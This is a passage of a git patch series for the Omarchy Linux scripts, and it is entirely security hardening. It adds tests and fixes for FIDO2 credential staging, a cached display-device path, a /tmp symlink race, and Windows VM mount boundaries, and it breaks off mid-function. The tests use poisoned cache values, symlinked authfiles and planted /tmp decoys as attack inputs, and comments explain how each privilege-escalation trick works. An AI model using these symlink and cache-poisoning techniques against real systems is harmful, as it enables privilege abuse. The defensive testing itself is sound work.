candidate=$1 + local prefix="$authfile.new." + local suffix + + [[ $candidate == "$prefix"* ]] || return 1 + suffix=${candidate#"$prefix"} + [[ $suffix =~ ^[[:alnum:]]{6}$ ]] +} + +single_stage() { + local count + + count=$(wc -l <"$stages") + (( count == 1 )) || fail "setup creates exactly one privileged stage" "got $count stages" + head -n 1 "$stages" +} + +assert_pipe_target() { + local count target + + count=$(wc -l <"$pamu_targets") + (( count == 1 )) || fail "setup invokes pamu2fcfg exactly once" "got $count invocations" + target=$(head -n 1 "$pamu_targets") + [[ $target == pipe:* ]] || + fail "pamu2fcfg writes only to a pipe, never a caller-owned named file" "got: $target" +} + +assert_failed_stage_cleanup() { + local stage_path + + stage_path=$(single_stage) + safe_fixture_stage_path "$stage_path" || + fail "the failed setup stage is a unique scratch sibling" "got: $stage_path" + grep -Fxq $'sudo\trm\t-f\t--\t'"$stage_path" "$calls" || + fail "failed setup removes its exact privileged stage" "$(cat "$calls")" + [[ ! -e $stage_path && ! -L $stage_path ]] || + fail "the failed setup stage is gone" "left behind: $stage_path" + [[ ! -e $authfile ]] || fail "failed setup never publishes a credential" +} + +# Each branch below is a fixture rather than whatever the host happens to have +# at /etc/fido2, so all of them run on every machine and the staging assertions +# that follow are reached even on one that already uses FIDO2. +reset_run +mkdir -p "$authdir" +printf '%s\n' "$credential" >"$authfile" +run_setup +[[ ! -s $stages && ! -s $pamu_targets ]] || + fail "FIDO2 setup stages nothing when a registration already exists" +! grep -Fq $'sudo\tmktemp\t' "$calls" || + fail "FIDO2 setup creates no stage over an existing registration" "$(cat "$calls")" +pass "FIDO2 setup leaves an existing registration alone" + +reset_run +mkdir -p "$authdir" +ln -s /dev/null "$authfile" +invoke_setup >/dev/null 2>&1 && + fail "FIDO2 setup refuses a symlinked authfile" +[[ ! -s $stages && ! -s $pamu_targets ]] || + fail "FIDO2 setup stages nothing against a symlinked authfile" +[[ -L $authfile ]] || fail "FIDO2 setup leaves the symlinked authfile in place" +pass "FIDO2 setup refuses a symlinked authfile" + +reset_run +mkdir -p "$authfile" +invoke_setup >/dev/null 2>&1 && + fail "FIDO2 setup refuses a directory where the authfile belongs" +[[ ! -s $stages && ! -s $pamu_targets ]] || + fail "FIDO2 setup stages nothing against a directory authfile" +pass "FIDO2 setup refuses a non-regular authfile" + +# install -d follows a symlink at the directory and applies its mode and +# ownership to whatever it points at, so the credential would be staged and +# published inside the target and that directory reopened to root:root 755. +reset_run +mkdir -p "$test_tmp/elsewhere" +chmod 700 "$test_tmp/elsewhere" +ln -s "$test_tmp/elsewhere" "$authdir" +invoke_setup >/dev/null 2>&1 && + fail "FIDO2 setup refuses a symlinked FIDO2 directory" +[[ ! -s $stages && ! -s $pamu_targets ]] || + fail "FIDO2 setup stages nothing through a symlinked FIDO2 directory" +! grep -Fq $'sudo\tinstall\t' "$calls" || + fail "FIDO2 setup never runs install -d through a symlink" "$(cat "$calls")" +[[ $(stat -c %a "$test_tmp/elsewhere") == "700" ]] || + fail "FIDO2 setup leaves the symlink target's mode alone" "got: $(stat -c %a "$test_tmp/elsewhere")" +[[ ! -e $test_tmp/elsewhere/fido2 ]] || + fail "FIDO2 setup publishes nothing inside the symlink target" +pass "FIDO2 setup refuses a symlinked FIDO2 directory and leaves its target alone" + +reset_run +run_setup +stage_path=$(single_stage) +safe_fixture_stage_path "$stage_path" || + fail "FIDO2 setup uses a unique sibling stage" "got: $stage_path" +assert_pipe_target + +[[ ! -s $bare_mktemp ]] || + fail "FIDO2 setup never creates a caller-owned temporary file" "$(cat "$bare_mktemp")" +grep -Fxq $'sudo\tmktemp\t'"$authfile.new.XXXXXX" "$calls" || + fail "FIDO2 setup asks root to create a unique sibling stage" "$(cat "$calls")" +grep -Fxq $'sudo\ttee\t'"$stage_path" "$calls" || + fail "pamu2fcfg is piped into the exact privileged stage" "$(cat "$calls")" +grep -Fxq $'sudo\tchmod\t644\t'"$stage_path" "$calls" || + fail "FIDO2 setup makes the completed authfile PAM-readable" "$(cat "$calls")" +grep -Fxq $'sudo\tmv\t-Tf\t'"$stage_path"$'\t'"$authfile" "$calls" || + fail "FIDO2 setup atomically publishes the exact privileged stage" "$(cat "$calls")" +! grep -Fq $'sudo\trm\t' "$calls" || + fail "successful setup leaves its cleanup trap inert" "$(cat "$calls")" + +[[ ! -e $stage_path && ! -L $stage_path ]] || + fail "the privileged stage path is gone after publication" "left behind: $stage_path" +[[ -f $authfile && $(<"$authfile") == "$credential" ]] || + fail "the published authfile contains the generated credential" +[[ $(stat -c %a "$authfile") == "644" ]] || + fail "the published authfile is mode 644" "got: $(stat -c %a "$authfile")" +pass "FIDO2 setup pipes the credential into a unique root-created stage and publishes it atomically" + +# A chmod failure happens after a complete credential has been written but +# before publication. It must abort the setup and leave the EXIT trap armed. +reset_run +if invoke_setup success 1 >/dev/null 2>&1; then + fail "a failed chmod propagates out of FIDO2 setup" +fi +failed_stage=$(single_stage) +assert_pipe_target +grep -Fxq $'sudo\tchmod\t644\t'"$failed_stage" "$calls" || + fail "the injected chmod failure targets the exact privileged stage" "$(cat "$calls")" +! grep -Fq $'sudo\tmv\t' "$calls" || + fail "a stage whose chmod failed is never published" "$(cat "$calls")" +assert_failed_stage_cleanup +pass "FIDO2 setup propagates chmod failure and cleans its privileged stage" + +# A failed atomic rename has the same cleanup obligation. The completed stage +# must not survive beside the live authfile when publication fails. +reset_run +if invoke_setup success 0 1 >/dev/null 2>&1; then + fail "a failed mv propagates out of FIDO2 setup" +fi +failed_stage=$(single_stage) +assert_pipe_target +grep -Fxq $'sudo\tchmod\t644\t'"$failed_stage" "$calls" || + fail "the mv-failure fixture reaches a completed mode-644 stage" "$(cat "$calls")" +grep -Fxq $'sudo\tmv\t-Tf\t'"$failed_stage"$'\t'"$authfile" "$calls" || + fail "the injected mv failure targets the exact privileged stage" "$(cat "$calls")" +assert_failed_stage_cleanup +pass "FIDO2 setup propagates mv failure and cleans its privileged stage" + +# Emit a valid credential and then fail. Without pipefail, tee's success masks +# pamu2fcfg's status and the nonempty file would be published. +reset_run +if invoke_setup fail >/dev/null 2>&1; then + fail "a failing pamu2fcfg pipeline fails setup" +fi +assert_pipe_target +assert_failed_stage_cleanup +! grep -Fq $'sudo\tchmod\t' "$calls" || + fail "a failed pamu2fcfg result is never prepared for publication" "$(cat "$calls")" +! grep -Fq $'sudo\tmv\t' "$calls" || + fail "a failed pamu2fcfg result is never published" "$(cat "$calls")" +pass "FIDO2 setup propagates pamu2fcfg failure and cleans its privileged stage" + +# A successful pipeline can still produce no credential. Reject that before +# chmod or rename, and clean the exact stage just as on command failure. +reset_run +if invoke_setup empty >/dev/null 2>&1; then + fail "an empty pamu2fcfg result fails setup" +fi +assert_pipe_target +assert_failed_stage_cleanup +! grep -Fq $'sudo\tchmod\t' "$calls" || + fail "an empty pamu2fcfg result is never prepared for publication" "$(cat "$calls")" +! grep -Fq $'sudo\tmv\t' "$calls" || + fail "an empty pamu2fcfg result is never published" "$(cat "$calls")" +pass "FIDO2 setup rejects an empty credential and cleans its privileged stage" + +# mktemp's output is an operand for a privileged tee, chmod, mv and rm. Take +# only the name this script asked for: a stage path outside that shape must stop +# the setup before any of them runs, exactly as the migration does. +reset_run +invoke_setup success 0 0 malformed >/dev/null 2>&1 && + fail "a malformed mktemp result fails setup" +! grep -Fq $'sudo\ttee\t' "$calls" || + fail "no credential is written to a malformed stage path" "$(cat "$calls")" +! grep -Fq $'sudo\tchmod\t' "$calls" || + fail "a malformed stage path never reaches a privileged chmod" "$(cat "$calls")" +! grep -Fq $'sudo\tmv\t' "$calls" || + fail "a malformed stage path is never published" "$(cat "$calls")" +! grep -Fq $'sudo\trm\t' "$calls" || + fail "a malformed stage path never reaches a privileged rm" "$(cat "$calls")" +[[ ! -e $authfile ]] || fail "a malformed stage publishes no authfile" +pass "FIDO2 setup rejects malformed mktemp output before any privileged write" + +reset_run +invoke_setup success 0 0 nonregular >/dev/null 2>&1 && + fail "a nonregular mktemp result fails setup" +! grep -Fq $'sudo\ttee\t' "$calls" || + fail "no credential is written into a nonregular stage" "$(cat "$calls")" +! grep -Fq $'sudo\tchmod\t' "$calls" || + fail "a nonregular stage never reaches a privileged chmod" "$(cat "$calls")" +! grep -Fq $'sudo\tmv\t' "$calls" || + fail "a nonregular stage is never published" "$(cat "$calls")" +[[ ! -e $authfile ]] || fail "a nonregular stage publishes no authfile" +pass "FIDO2 setup rejects nonregular mktemp output before any privileged write" From fe56d68e905c8dc63a4c6a43727fef40833360d7 Mon Sep 17 00:00:00 2001 From: bastidotnet <233381911+bastidotnet@users.noreply.github.com> Date: Tue, 25 Aug 2026 13:24:00 +0200 Subject: [PATCH 052/336] Validate the cached Apple-display device path before use The cached device path was trusted for merely existing, not for being a hiddev node, and fell back to a predictable /tmp path when XDG_RUNTIME_DIR was unset. Validate the cache shape (hiddev char device) and cache only under the user-private runtime dir; asdcontrol already gates non-Apple devices downstream, so this is defense-in-depth in the layer Omarchy owns. --- bin/omarchy-brightness-display-apple | 21 ++- .../brightness-display-apple-cache-test.sh | 120 ++++++++++++++++++ 2 files changed, 137 insertions(+), 4 deletions(-) create mode 100755 test/shell.d/brightness-display-apple-cache-test.sh diff --git a/bin/omarchy-brightness-display-apple b/bin/omarchy-brightness-display-apple index 81202b87..1027686d 100755 --- a/bin/omarchy-brightness-display-apple +++ b/bin/omarchy-brightness-display-apple @@ -4,7 +4,13 @@ # omarchy:args=[--no-osd] [+N%|N%-|N%] # omarchy:examples=omarchy brightness display apple | omarchy brightness display apple +5% | omarchy brightness display apple --no-osd 50% -device_cache="${XDG_RUNTIME_DIR:-/tmp}/omarchy-brightness-display-apple.device" +# Only cache under the user-private runtime dir. With no XDG_RUNTIME_DIR we skip +# caching (detect every run) rather than fall back to a predictable, world-writable +# /tmp path another user could pre-create. +device_cache="" +if [[ -n "${XDG_RUNTIME_DIR:-}" ]]; then + device_cache="$XDG_RUNTIME_DIR/omarchy-brightness-display-apple.device" +fi no_osd=0 if [[ ${1:-} == "--no-osd" ]]; then no_osd=1 @@ -28,9 +34,14 @@ find_apple_display_device() { local cached="" local device="" - if [[ -r $device_cache ]]; then + if [[ -n "$device_cache" && -r $device_cache ]]; then read -r cached <"$device_cache" || true - if [[ -n $cached && -e $cached ]]; then + # Trust a cached value only if it still names a hiddev character device. A + # stale or unexpected cache (a regular file, a non-hiddev node) is ignored and + # we re-detect instead of handing an arbitrary path to asdcontrol. The globs + # are left unquoted on purpose: [[ ]] pattern-matches an unquoted right side, + # and quoting them would turn the match into a literal string comparison. + if [[ ( $cached == /dev/hiddev* || $cached == /dev/usb/hiddev* ) && -c $cached ]]; then printf '%s\n' "$cached" return 0 fi @@ -39,7 +50,9 @@ find_apple_display_device() { device="$(detect_apple_display_device)" || return 1 [[ -n $device ]] || return 1 - printf '%s\n' "$device" >"$device_cache" + if [[ -n "$device_cache" ]]; then + printf '%s\n' "$device" >"$device_cache" + fi printf '%s\n' "$device" } diff --git a/test/shell.d/brightness-display-apple-cache-test.sh b/test/shell.d/brightness-display-apple-cache-test.sh new file mode 100755 index 00000000..2808f93f --- /dev/null +++ b/test/shell.d/brightness-display-apple-cache-test.sh @@ -0,0 +1,120 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +TMPDIR=$(mktemp -d) +trap 'rm -rf "$TMPDIR"' EXIT + +# Stubs on PATH: drop sudo so asdcontrol runs directly, record every asdcontrol +# invocation, make detection deterministic by having --detect report no device, +# and no-op the OSD. On a host without any /dev/*hiddev* node the wrapper's +# detect_apple_display_device returns before it ever runs asdcontrol, so the +# reject cases assert on the negative: a refused cache value is never handed to +# `asdcontrol -- `. Blind-trust validation would hand it over and be +# caught here. +stub_dir="$TMPDIR/stubs" +mkdir -p "$stub_dir" + +asd_log="$TMPDIR/asdcontrol.log" + +cat >"$stub_dir/sudo" <<'STUB' +#!/bin/bash +exec "$@" +STUB +chmod +x "$stub_dir/sudo" + +cat >"$stub_dir/asdcontrol" <>"$asd_log" +# --detect reports nothing, so detection never yields a device. +if [[ \$1 == "--detect" ]]; then + exit 0 +fi +# A brightness read (a lone device arg) returns a plausible value; a set +# ( -- ) just succeeds. +if [[ \$# -eq 1 ]]; then + printf '%s: BRIGHTNESS=30000\n' "\$1" +fi +exit 0 +STUB +chmod +x "$stub_dir/asdcontrol" + +cat >"$stub_dir/omarchy-osd" <<'STUB' +#!/bin/bash +exit 0 +STUB +chmod +x "$stub_dir/omarchy-osd" + +run_wrapper() { + # $1: value for XDG_RUNTIME_DIR ("" means unset); remaining args go to the wrapper. + local xdg="$1" + shift + : >"$asd_log" + if [[ -n $xdg ]]; then + XDG_RUNTIME_DIR="$xdg" PATH="$stub_dir:$ROOT/bin:$PATH" \ + omarchy-brightness-display-apple "$@" 2>&1 || true + else + env -u XDG_RUNTIME_DIR PATH="$stub_dir:$ROOT/bin:$PATH" \ + omarchy-brightness-display-apple "$@" 2>&1 || true + fi +} + +# --- A cache value that is not a hiddev character device is rejected ---------- +xdg_dir="$TMPDIR/xdg" +mkdir -p "$xdg_dir" +cache_file="$xdg_dir/omarchy-brightness-display-apple.device" + +regular_file="$TMPDIR/not-a-device" +: >"$regular_file" + +for poison in "/dev/null" "$regular_file" "/tmp/omarchy-evil"; do + printf '%s\n' "$poison" >"$cache_file" + output=$(run_wrapper "$xdg_dir" "+5%") + if grep -qF -- "$poison -- +5%" "$asd_log"; then + fail "wrapper handed a non-hiddev cache value to asdcontrol: $poison" "$output" + fi +done +pass "wrapper rejects a cached path that is not a hiddev character device" + +# NOTE: the complementary arm (a cache value that DOES match /dev/hiddev* but is +# not a character device) cannot be built without root -- only real device nodes +# live under /dev. It is covered by the -c test and exercised below only when a +# real hiddev node happens to be present. + +# --- A legitimate cached hiddev node is trusted (only where HW is present) ---- +real_hiddev="" +for candidate in /dev/usb/hiddev* /dev/hiddev*; do + if [[ -c $candidate ]]; then + real_hiddev="$candidate" + break + fi +done +if [[ -n $real_hiddev ]]; then + printf '%s\n' "$real_hiddev" >"$cache_file" + run_wrapper "$xdg_dir" "+5%" >/dev/null + grep -qF -- "$real_hiddev -- +5%" "$asd_log" || + fail "wrapper did not trust a valid cached hiddev node: $real_hiddev" + pass "wrapper trusts a cached hiddev character device without re-detecting" +else + pass "no /dev/hiddev* character device present; skipping the valid-cache case" +fi + +# --- With no XDG_RUNTIME_DIR, the predictable /tmp cache is not consulted ------ +# Guard on the real path not pre-existing so we never clobber a live cache, and +# remove what we create. Old code read /tmp and would hand /dev/null to +# asdcontrol; new code has no cache path at all when XDG_RUNTIME_DIR is unset. +tmp_cache="/tmp/omarchy-brightness-display-apple.device" +if [[ -e $tmp_cache ]]; then + pass "$tmp_cache already exists on this host; skipping the /tmp-fallback case" +else + printf '%s\n' "/dev/null" >"$tmp_cache" + output=$(run_wrapper "" "+5%") + used=1 + grep -qF -- "/dev/null -- +5%" "$asd_log" || used=0 + rm -f "$tmp_cache" + (( used == 0 )) || + fail "wrapper consulted the world-writable /tmp cache with no XDG_RUNTIME_DIR" "$output" + pass "wrapper ignores the /tmp cache path when XDG_RUNTIME_DIR is unset" +fi From e53548fae28ecd6b08dc2f7f5facf7f71f05621b Mon Sep 17 00:00:00 2001 From: bastidotnet <233381911+bastidotnet@users.noreply.github.com> Date: Tue, 25 Aug 2026 13:51:39 +0200 Subject: [PATCH 053/336] Harden the test's temp-file handling against a symlink race The /tmp-fallback case did check-then-create on a fixed /tmp name, a TOCTOU/symlink race, and the EXIT trap only cleaned $TMPDIR. Create the decoy atomically with noclobber (O_EXCL) so it refuses to overwrite an existing file or follow a symlink at that path, and remove it on exit only when this test created it. The fixed path is required (it is exactly the path the old code would form), so a random mktemp name cannot replace it. Addresses the Copilot review on #8198; the wrapper fix is unchanged. --- .../brightness-display-apple-cache-test.sh | 33 ++++++++++++++----- 1 file changed, 24 insertions(+), 9 deletions(-) diff --git a/test/shell.d/brightness-display-apple-cache-test.sh b/test/shell.d/brightness-display-apple-cache-test.sh index 2808f93f..c3ac8d53 100755 --- a/test/shell.d/brightness-display-apple-cache-test.sh +++ b/test/shell.d/brightness-display-apple-cache-test.sh @@ -5,7 +5,20 @@ set -euo pipefail source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" TMPDIR=$(mktemp -d) -trap 'rm -rf "$TMPDIR"' EXIT +# The /tmp-fallback case (below) must place its decoy at exactly the fixed path the +# old wrapper would have formed, so it cannot use a random mktemp name. Track whether +# we created it and remove it on exit only then -- never touch a path we did not create. +tmp_cache="/tmp/omarchy-brightness-display-apple.device" +created_tmp_cache=0 + +cleanup() { + rm -rf "$TMPDIR" + # Remove the /tmp decoy only if this test is the one that created it. + if (( created_tmp_cache )); then + rm -f "$tmp_cache" + fi +} +trap cleanup EXIT # Stubs on PATH: drop sudo so asdcontrol runs directly, record every asdcontrol # invocation, make detection deterministic by having --detect report no device, @@ -102,14 +115,14 @@ else fi # --- With no XDG_RUNTIME_DIR, the predictable /tmp cache is not consulted ------ -# Guard on the real path not pre-existing so we never clobber a live cache, and -# remove what we create. Old code read /tmp and would hand /dev/null to -# asdcontrol; new code has no cache path at all when XDG_RUNTIME_DIR is unset. -tmp_cache="/tmp/omarchy-brightness-display-apple.device" -if [[ -e $tmp_cache ]]; then - pass "$tmp_cache already exists on this host; skipping the /tmp-fallback case" -else - printf '%s\n' "/dev/null" >"$tmp_cache" +# Create the decoy atomically with noclobber (O_EXCL) instead of check-then-create: +# this refuses to overwrite an existing file or follow a symlink at the fixed path, +# closing the TOCTOU/symlink race. The fixed path is required -- it is exactly the +# path the old code would have formed, so a decoy anywhere else would prove nothing. +# If the path is already taken, skip rather than touch it; the EXIT trap removes the +# decoy only when this test created it. +if ( set -C; printf '%s\n' "/dev/null" >"$tmp_cache" ) 2>/dev/null; then + created_tmp_cache=1 output=$(run_wrapper "" "+5%") used=1 grep -qF -- "/dev/null -- +5%" "$asd_log" || used=0 @@ -117,4 +130,6 @@ else (( used == 0 )) || fail "wrapper consulted the world-writable /tmp cache with no XDG_RUNTIME_DIR" "$output" pass "wrapper ignores the /tmp cache path when XDG_RUNTIME_DIR is unset" +else + pass "$tmp_cache already present or not safely creatable; skipping the /tmp-fallback case" fi From b91180a80875740e486016f3625545ac53fe256d Mon Sep 17 00:00:00 2001 From: Helmut Januschka Date: Tue, 25 Aug 2026 14:48:44 +0200 Subject: [PATCH 054/336] Skip Chromium EULA on first run --- bin/omarchy-upgrade-to-quattro | 2 +- install/config/theme-system.sh | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/bin/omarchy-upgrade-to-quattro b/bin/omarchy-upgrade-to-quattro index e28da697..fd8151ba 100755 --- a/bin/omarchy-upgrade-to-quattro +++ b/bin/omarchy-upgrade-to-quattro @@ -1314,7 +1314,7 @@ apply_system_transition() { as_root install -d -m 0777 /etc/chromium/policies/managed as_root install -d -m 0755 /usr/lib/chromium - printf '%s\n' '{"browser":{"theme":{"color_scheme":0,"color_scheme2":0}}}' | \ + printf '%s\n' '{"distribution":{"require_eula":false},"browser":{"theme":{"color_scheme":0,"color_scheme2":0}}}' | \ as_root tee /usr/lib/chromium/initial_preferences >/dev/null # Deliberately do NOT add the user to the docker group. That group is diff --git a/install/config/theme-system.sh b/install/config/theme-system.sh index 2902e1cd..c8272486 100644 --- a/install/config/theme-system.sh +++ b/install/config/theme-system.sh @@ -10,7 +10,7 @@ gtk-update-icon-cache /usr/share/icons/Yaru &>/dev/null || true mkdir -p /etc/chromium/policies/managed chmod a+rw /etc/chromium/policies/managed -# Default Chromium to follow system appearance ("device") instead of dark +# Set Chromium first-run defaults mkdir -p /usr/lib/chromium -echo '{"browser":{"theme":{"color_scheme":0,"color_scheme2":0}}}' > \ +echo '{"distribution":{"require_eula":false},"browser":{"theme":{"color_scheme":0,"color_scheme2":0}}}' > \ /usr/lib/chromium/initial_preferences From 4cd8a081cb67af345be7d8677faeee6575d89bef Mon Sep 17 00:00:00 2001 From: orienw <1744079+orienw@users.noreply.github.com> Date: Tue, 25 Aug 2026 07:07:17 -0700 Subject: [PATCH 055/336] Fix Codex usage collection on 0.149 (#7649) * Fix Codex usage collector approval policy * Capture codex argv with boundaries in the scanner test The stub joined its arguments with "$*", so the assertion compared one flattened string and could not tell five arguments from fewer containing spaces. Passing "-s read-only" and "-a on-request" as single arguments -- which codex rejects as an unexpected argument -- passed the test. NUL separation and an array comparison keep the boundaries the assertion is about. Co-Authored-By: Claude Opus 5 (1M context) Co-authored-by: Codex XHigh --------- Co-authored-by: Omabot Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Codex XHigh --- bin/omarchy-agent-usage-codex | 2 +- test/shell.d/agent-usage-codex-scanner-test.sh | 15 ++++++++++++++- 2 files changed, 15 insertions(+), 2 deletions(-) diff --git a/bin/omarchy-agent-usage-codex b/bin/omarchy-agent-usage-codex index e0200535..972c164d 100755 --- a/bin/omarchy-agent-usage-codex +++ b/bin/omarchy-agent-usage-codex @@ -528,7 +528,7 @@ def fetch_codex_rpc(): try: proc = subprocess.Popen( - [codex, "-s", "read-only", "-a", "untrusted", "app-server"], + [codex, "-s", "read-only", "-a", "on-request", "app-server"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, diff --git a/test/shell.d/agent-usage-codex-scanner-test.sh b/test/shell.d/agent-usage-codex-scanner-test.sh index f3f9aa1e..3ce4883c 100644 --- a/test/shell.d/agent-usage-codex-scanner-test.sh +++ b/test/shell.d/agent-usage-codex-scanner-test.sh @@ -13,6 +13,10 @@ mkdir -p "$TEST_HOME/.codex/sessions/$(date +%Y/%m/%d)" "$TEST_HOME/bin" cat >"$TEST_HOME/bin/codex" <<'EOF' #!/bin/bash +if [[ -n ${CODEX_ARGS_FILE:-} ]]; then + printf '%s\0' "$@" >"$CODEX_ARGS_FILE" +fi + while read -r request; do id=$(jq -r '.id // empty' <<<"$request") method=$(jq -r '.method // empty' <<<"$request") @@ -40,9 +44,18 @@ cat >"$session" < Date: Tue, 25 Aug 2026 15:04:13 +0000 Subject: [PATCH 056/336] Update Omarchy on Mac guide link to omarchy-mac repo (#8192) --- manual/49-omarchy-on.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/manual/49-omarchy-on.md b/manual/49-omarchy-on.md index d5c64f4b..c33642fd 100644 --- a/manual/49-omarchy-on.md +++ b/manual/49-omarchy-on.md @@ -2,7 +2,7 @@ ### Apple M1/M2 chips -[Asahi Alarm](https://asahi-alarm.org/) is a version of Arch for Apple M1/M2 computers built on top of [Asahi Linux](https://asahilinux.org/). You can get Omarchy running on top of that with some effort. See [the user-driven guide](https://codeberg.org/malik-na/omarchy-mac). +[Asahi Alarm](https://asahi-alarm.org/) is a version of Arch for Apple M1/M2 computers built on top of [Asahi Linux](https://asahilinux.org/). You can get Omarchy running on top of that with some effort. See [the user-driven guide](https://github.com/omarchy-mac/omarchy-mac). ### Apple Virtual Machine From 2c93e66b0cd0b8138e16dc580fa26878f31f4e50 Mon Sep 17 00:00:00 2001 From: Kevin McConnell Date: Tue, 25 Aug 2026 16:05:39 +0100 Subject: [PATCH 057/336] Run ONCE with sudo when installing The install user is no longer in the docker group by default, so a bare `once` cannot reach the Docker socket. Run with `sudo` instead. The script already requires sudo to install the command and enable the service, so we can safely use it for the initial command launch as well. --- bin/omarchy-install-service-once | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bin/omarchy-install-service-once b/bin/omarchy-install-service-once index 9b5cf446..b721a738 100755 --- a/bin/omarchy-install-service-once +++ b/bin/omarchy-install-service-once @@ -10,4 +10,4 @@ echo "Enabling ONCE background service..." sudo systemctl enable --now once-background.service echo -e "\nLaunching ONCE..." -once +sudo once From c34d20ca14faa75b90580124790956f5c061db82 Mon Sep 17 00:00:00 2001 From: Afonso Oliveira Date: Tue, 25 Aug 2026 18:39:00 +0100 Subject: [PATCH 058/336] [Security] Pin Windows VM mounts behind a root boundary --- bin/omarchy-windows-vm | 360 +++++++++++++++++++----- manual/28-windows-vm.md | 4 +- test/shell.d/windows-vm-compose-test.sh | 82 +++--- 3 files changed, 343 insertions(+), 103 deletions(-) diff --git a/bin/omarchy-windows-vm b/bin/omarchy-windows-vm index 1487cb21..c22c4815 100755 --- a/bin/omarchy-windows-vm +++ b/bin/omarchy-windows-vm @@ -67,9 +67,14 @@ priv_target() { priv() { local action="$1" shift - if [[ $action != write_compose ]] && ! docker_needs_sudo; then - "__priv_$action" "$@" - return + if [[ $action != write_compose && $action != remove ]] && ! docker_needs_sudo; then + # Existing installs used bind sources in $HOME. One privileged run is + # needed to atomically move those directories below the root-owned mount + # boundary, even when the caller can otherwise reach Docker directly. + if [[ $action != up && $action != up_wait ]] || ! compose_needs_mount_migration; then + "__priv_$action" "$@" + return + fi fi local target target=$(priv_target) || { @@ -88,16 +93,6 @@ valid_cores() { [[ $1 =~ ^[0-9]{1,2}$ ]] && ((10#$1 >= 1)); } valid_disk() { [[ $1 =~ ^[0-9]{1,4}G$ ]]; } valid_username() { [[ $1 =~ ^[A-Za-z0-9_-]{1,20}$ ]]; } valid_tz() { [[ $1 =~ ^[A-Za-z0-9_/.+-]{1,64}$ ]]; } -valid_path() { - [[ $1 =~ ^/[A-Za-z0-9._/-]+$ ]] || return 1 - # Reject non-normalized paths: a . or .. component canonicalizes at mount time - # (e.g. /./ or /a/../ -> /), which would bind-mount a sensitive directory — - # host / included — into the guest. Volumes must be given already-normalized. - case "$1" in - *//* | */./* | */../* | */. | */..) return 1 ;; - esac - return 0 -} valid_password() { [[ $1 =~ ^[[:print:]]{1,64}$ ]]; } # The only privileged sub-actions __priv may dispatch. A bash command name @@ -113,13 +108,207 @@ valid_priv_action() { # --- privileged actions (run as root via pkexec, or directly when sudoless) --- +# Resolve the account that authorized pkexec. Never trust HOME or a caller- +# supplied mount path in the privileged process: pkexec can reset HOME, and the +# old path arguments were the source of an arbitrary host bind-mount primitive. +resolve_caller() { + local entry canonical parent owner mode + + if ((EUID == 0)); then + [[ ${PKEXEC_UID:-} =~ ^[0-9]+$ ]] && ((10#$PKEXEC_UID > 0)) || { + echo "omarchy-windows-vm: cannot identify the user who authorized this action" >&2 + return 1 + } + CALLER_UID=$((10#$PKEXEC_UID)) + else + CALLER_UID=$(id -u) + fi + + entry=$(getent passwd "$CALLER_UID") || { + echo "omarchy-windows-vm: no account exists for uid $CALLER_UID" >&2 + return 1 + } + IFS=: read -r _ _ _ CALLER_GID _ CALLER_HOME _ <<<"$entry" + [[ $CALLER_GID =~ ^[0-9]+$ && $CALLER_HOME == /* && -d $CALLER_HOME ]] || { + echo "omarchy-windows-vm: invalid home directory for uid $CALLER_UID" >&2 + return 1 + } + + # A direct, non-root development invocation with a non-standard runtime has + # no privilege boundary and may use its current HOME (which also keeps these + # functions testable). Production always uses the account database value. + if ((EUID != 0)) && [[ $RUNTIME_DIR != /var/lib/omarchy/windows ]]; then + CALLER_HOME=${HOME:-$CALLER_HOME} + fi + canonical=$(realpath -e -- "$CALLER_HOME" 2>/dev/null) || return 1 + [[ $canonical == "$CALLER_HOME" ]] || { + echo "omarchy-windows-vm: refusing a home directory reached through a symlink" >&2 + return 1 + } + + if ((EUID == 0)); then + owner=$(stat -Lc '%u' "$CALLER_HOME") || return 1 + [[ $owner == "$CALLER_UID" ]] || { + echo "omarchy-windows-vm: caller does not own $CALLER_HOME" >&2 + return 1 + } + # The user must not be able to rename or replace their home while root is + # moving the legacy data entry out of it. + parent=$(dirname -- "$CALLER_HOME") + while :; do + owner=$(stat -Lc '%u' "$parent") || return 1 + mode=$(stat -Lc '%a' "$parent") || return 1 + [[ $owner == 0 ]] && ! ((8#$mode & 022)) || { + echo "omarchy-windows-vm: unsafe writable parent in home path: $parent" >&2 + return 1 + } + [[ $parent == / ]] && break + parent=$(dirname -- "$parent") + done + fi + + # Keep the potentially large disk on the same filesystem as the user's home, + # but outside that user-writable directory. The already-validated home parent + # is root-owned, so this sibling tree provides a stable rename boundary. + MOUNT_ROOT="$(dirname -- "$CALLER_HOME")/.omarchy-windows" + USERS_DIR="$MOUNT_ROOT/users" + CALLER_DATA_ROOT="$USERS_DIR/$CALLER_UID" + EXPECTED_STORAGE="$CALLER_DATA_ROOT/storage" + EXPECTED_SHARED="$CALLER_DATA_ROOT/shared" + LEGACY_STORAGE="$CALLER_HOME/.windows" + LEGACY_SHARED="$CALLER_HOME/Windows" +} + +boundary_owner() { + # Production boundaries remain root-owned even when a docker-group user runs + # the read-only bring-up checks directly. A non-standard runtime is supported + # only for unprivileged tests/development and is owned by that caller. + if ((EUID == 0)) || [[ $RUNTIME_DIR == /var/lib/omarchy/windows ]]; then + printf '0' + else + printf '%s' "$CALLER_UID" + fi +} + +assert_boundary_dir() { + local path="$1" expected_owner="$2" owner mode canonical + [[ -d $path && ! -L $path ]] || return 1 + canonical=$(realpath -e -- "$path" 2>/dev/null) || return 1 + [[ $canonical == "$path" ]] || return 1 + owner=$(stat -Lc '%u' "$path") || return 1 + mode=$(stat -Lc '%a' "$path") || return 1 + [[ $owner == "$expected_owner" ]] && ! ((8#$mode & 022)) +} + +prepare_runtime_tree() { + local owner probe + owner=$(boundary_owner) + if ((EUID == 0)); then + [[ $RUNTIME_DIR == /var/lib/omarchy/windows ]] || { + echo "omarchy-windows-vm: refusing a non-standard privileged runtime path" >&2 + return 1 + } + # Check the nearest existing ancestor before mkdir can follow anything. + # Every new component is then created by root and checked again below. + probe=$RUNTIME_DIR + while [[ ! -e $probe && ! -L $probe ]]; do probe=$(dirname -- "$probe"); done + while :; do + assert_boundary_dir "$probe" 0 || { + echo "omarchy-windows-vm: 